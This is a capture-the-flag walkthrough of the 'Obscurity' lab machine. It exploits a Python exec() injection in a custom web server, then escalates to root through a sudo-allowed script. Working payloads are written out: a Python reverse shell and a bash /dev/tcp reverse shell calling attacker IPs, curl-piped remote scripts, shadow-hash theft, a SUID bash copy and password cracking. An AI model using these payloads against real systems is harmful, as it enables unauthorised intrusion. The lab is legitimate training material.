Step 1. Reconnaissance & Enumeration
Let’s start with the nmap scan
nmap -Pn -n -p- obscurity.htb --min-rate=1000 | grep "open" | cut -d '/' -f 1 | sort -n > port_scan.txt
cat port_scan.txt | tr '\n' ',' | sed s/,$// > port_scan.txt
Version scan reports following information.
▶ nmap -Pn -n -sC -sV -p `cat port_scan.txt` obscurity.htb -oA version_scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
| 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_ 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
8080/tcp open http-proxy BadHTTPServer
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Date: Mon, 11 May 2020 06:37:57
| Server: BadHTTPServer
| Last-Modified: Mon, 11 May 2020 06:37:57
| Content-Length: 4171
| Content-Type: text/html
| Connection: Closed
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>0bscura</title>
nmap shows two ports open, SSH (22) and HTTP (8080). On visiting the page at 8080 we come to know that page doesn’t do much, but gives information about the Obscura Webserver. When I try to run gobuster
things break.
gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -t 20 -u http://10.10.10.168:8080
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.168:8080
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/05/11 12:30:38 Starting gobuster
===============================================================
2020/05/11 12:30:39 Unsolicited response received on idle HTTP channel starting with "\n"; err=<nil>
2020/05/11 12:30:40 Unsolicited response received on idle HTTP channel starting with "\n"; err=<nil>
Progress: 20 / 20474 (0.10%)2020/05/11 12:30:41 Unsolicited response received on idle HTTP channel starting with "\n"; err=<nil>
2020/05/11 12:30:41 Unsolicited response received on idle HTTP channel starting with "\n"; err=<nil>
Given we know the name of the file is in a “secret development directory”, and we can’t count on standard tools to identify the directory name, we’ll use wfuzz, targeting the url http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
wfuzz -c -w /usr/share/wordlists/dirb/big.txt --hc 404 http://obscurity.htb:8080/FUZZ/SuperSecureServer.py
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://obscurity.htb:8080/FUZZ/SuperSecureServer.py
Total requests: 20469
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000006016: 200 170 L 498 W 5892 Ch "develop"
Total time: 1834.461
Processed Requests: 20469
Filtered Requests: 20468
Requests/sec.: 11.15804
wfuzz finds directory develop. Let’s download SuperSecureServer.py.
wget http://obscurity.htb:8080/develop/SuperSecureServer.py
We start by checking if some dangerous functions like eval, exec, os.system, os.popen or subprocess.call are used. We find an exec call on line 139. The exec() function can execute whatever in the variable “info” so, let’s try to inject payloads in info by manipulating the path!
Let’s stand up the server locally and validate the vulnerability. First, let’s create the file structure expected by the web server.
mkdir -p DocRoot/errors
touch DocRoot/errors/404.html
echo test > DocRoot/index.html
Next, we need to edit the file to output the requested URL, and to configure a socket to listen on.
# add above exec(info.format(path))
print(info.format(path))
#append to SuperSecureServer.py
s = Server ("127.0.0.1", 8080)
s.listen ()
#start server
python3 SuperSecureServer.py
After starting the web server, we can experiment with different requests.
request: http://127.0.0.1:8080/
output: output = 'Document: /'
Also also seen in the code, the URL is contained with two single-quotes. As the os library is already imported, so we can attempt to execute a system command.
request: http://127.0.0.1:8080/';os.system('id');'
output:
output = 'Document: /';os.system('id');''
uid=0(root) gid=0(root) groups=0(root)
Now using the reverse shell generator payload of python & adding it to the end of url we get the reverse shell.
nc -lvp 6688
';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.26",6688));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Now let’s upgrade to TTY shell.
SHELL=/bin/bash script -q /dev/null
Step 2. Lateral Movement: www-data -> robert
There are many command-line scripts that we can use to do some heavy lifting of the initial enumeration, such as linPEAS.
wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesomescripts-suite/master/linPEAS/linpeas.sh
curl http://10.10.16.31/linpeas.sh|bash
After running this, we see that the system user robert has a world-readable home directory containing some interesting files.
[+] Files inside others home (limit 20)
/home/robert/.bash_logout
/home/robert/user.txt
/home/robert/.bashrc
/home/robert/passwordreminder.txt
/home/robert/check.txt
/home/robert/BetterSSH/BetterSSH.py
/home/robert/SuperSecureCrypt.py
/home/robert/out.txt
/home/robert/.profile
On checking the SuperSecureCrypt.py
we will use it check.txt to decrypt out.txt.
python3 SuperSecureCrypt.py -i out.txt -o /tmp/mine -k "$(cat check.txt)" -d
################################
# BEGINNING #
# SUPER SECURE ENCRYPTOR #
################################
############################
# FILE MODE #
############################
Opening file out.txt...
Decrypting...
Writing to /tmp/mine...
-> alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal
This is successful and key alexadrovich
is revealed. With the key in hand let’s decrypt passwordreminder.txt
.
python3 SuperSecureCrypt.py -i passwordreminder.txt -o /tmp/robert -k alexandrovich -d
-> SecThruObsFTW
On decrypting the passwordreminder.txt file we get the password as SecThruObsFTW
.
www-data@obscure:/home/robert$ ssh robert@10.10.10.168
ssh robert@10.10.10.168
Could not create directory '/var/www/.ssh'.
The authenticity of host '10.10.10.168 (10.10.10.168)' can't be established.
ECDSA key fingerprint is SHA256:H6t3x5IXxyijmFEZ2NVZbIZHWZJZ0d1IDDj3OnABJDw.
Are you sure you want to continue connecting (yes/no)? yes
yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
robert@10.10.10.168's password: SecThruObsFTW
and we get the user flag.
Step 3. Privilege Escalation
robert is a sudoer and can run a Python script as root without password:
robert@obscure:~/BetterSSH$ sudo -l
sudo -l
Matching Defaults entries for robert on obscure:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User robert may run the following commands on obscure:
(ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Method 1
This is the custom SSH server that we saw previously. If we run it, we are asked for credentials and then it tries to open a random file in /tmp/SSH/. It throws an error as this folder does not exist:
robert@Obscure$ sudo python3 /home/robert/BetterSSH/BetterSSH.py
Output: Enter username: Enter password:
Error: Traceback (most recent call last):
File "/home/robert/BetterSSH/BetterSSH.py", line 24, in <module>
with open('/tmp/SSH/'+path, 'w') as f:
FileNotFoundError: [Errno 2] No such file or directory: '/tmp/SSH/e3dkRCS9'
Let’s create this folder and try again:
robert@obscure:~/BetterSSH$ sudo python3 /home/robert/BetterSSH/BetterSSH.py
sudo python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: robert
robert
Enter password: SecThruObsFTW
SecThruObsFTW
Authed!
robert@Obscure$
Ok, we get the shell. The BetterSSH.py was a python script takes the user and its password and hash them and compare them with the ones in shadow file, and if they are correct, it will authenticate the user. The script creates files in /tmp/SSH/ then sleeps for 0.1 sec before deleting it. The goal is to read the content of the random temporary file to retrieve root hash. This can be achieved with the following one-liner from a second shell:
while true; do if [ "$(ls -A /tmp/SSH)" ]; then cat /tmp/SSH/*; break; fi; done
It waits for the /tmp/SSH folder to contain a file, outputs its content then quits the loop:
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
We get the root hash that we can crack with john or hashcat.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
mercedes (?)
1g 0:00:00:00 DONE (2020-05-12 15:52) 1.063g/s 408.5p/s 408.5c/s 408.5C/s smokey..michael1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
OR
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt -a 0 -o root.cracked --force
The password is: mercedes
. As root login is not permitted, we can simply use su. And we can read the root.txt file for root flag.
robert@obscure:~$ su -
Password:
root@obscure:~# ls
root.txt
root@obscure:~# cat root.txt
512fd4429f33a113a44d5acde23609e3
Method 2
Inspection of the code reveals that if session is autheticated for every command executed, sudo -u is appended to it.
Within the session, we can input -u root id and confirm command execution as root.
robert@Obscure$ -u root id
-u root id
Output: uid=0(root) gid=0(root) groups=0(root)
Let’s create a reverse shell.
echo 'bash -i >/dev/tcp/10.10.14.3/8080 0<&1 2>&1' > /tmp/shell.sh
robert@Obscure$ -u root bash /tmp/shell.sh
OR
robert@Obscure$ -u root cp /bin/bash /tmp/.xyz
robert@Obscure$ -u root chmod 4755 /tmp/.xyz
robert@Obscure$ ^CTraceback (most recent call last):
File "/home/robert/BetterSSH/BetterSSH.py", line 57, in <module>
command = input(session['user'] + "@Obscure$ ")
KeyboardInterrupt
robert@obscure:/tmp$ ./.xyz -p
After executing this script in the BetterSSH.py session, we get a reverse shell as root.
▶ nc -lvp 6688
listening on [any] 6688 ...
connect to [10.10.16.31] from obscurity.htb [10.10.10.168] 58464
root@obscure:~/BetterSSH#
Method 3
On looking at home directory of robert we find that home directory is read-writable by robert though BetterSSH owner is root.
robert@obscure:~$ ls -al
ls -al
total 64
drwxr-xr-x 7 robert robert 4096 May 12 11:40 .
drwxr-xr-x 3 root root 4096 Sep 24 2019 ..
lrwxrwxrwx 1 robert robert 9 Sep 28 2019 .bash_history -> /dev/null
-rw-r--r-- 1 robert robert 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 robert robert 3771 Apr 4 2018 .bashrc
drwxr-xr-x 2 root root 4096 Dec 2 09:47 BetterSSH
If instead of remove if we just do `mv BetterSSH{,-old}’, it works fine. BetterSSH{,-old} is the same as BetterSSH BetterSSH-old.
Now we can create a new BetterSSH directory, and put our own BetterSSH.py script into it:
robert@obscure:~$ echo -e '#!/usr/bin/env python3\n\nimport pty\n\npty.spawn("ba
sh")' > BetterSSH/BetterSSH.py
Now we can run with sudo
and get a root shell.
robert@obscure:~/BetterSSH$ sudo python3 /home/robert/BetterSSH/BetterSSH.py
sudo python3 /home/robert/BetterSSH/BetterSSH.py
root@obscure:~/BetterSSH#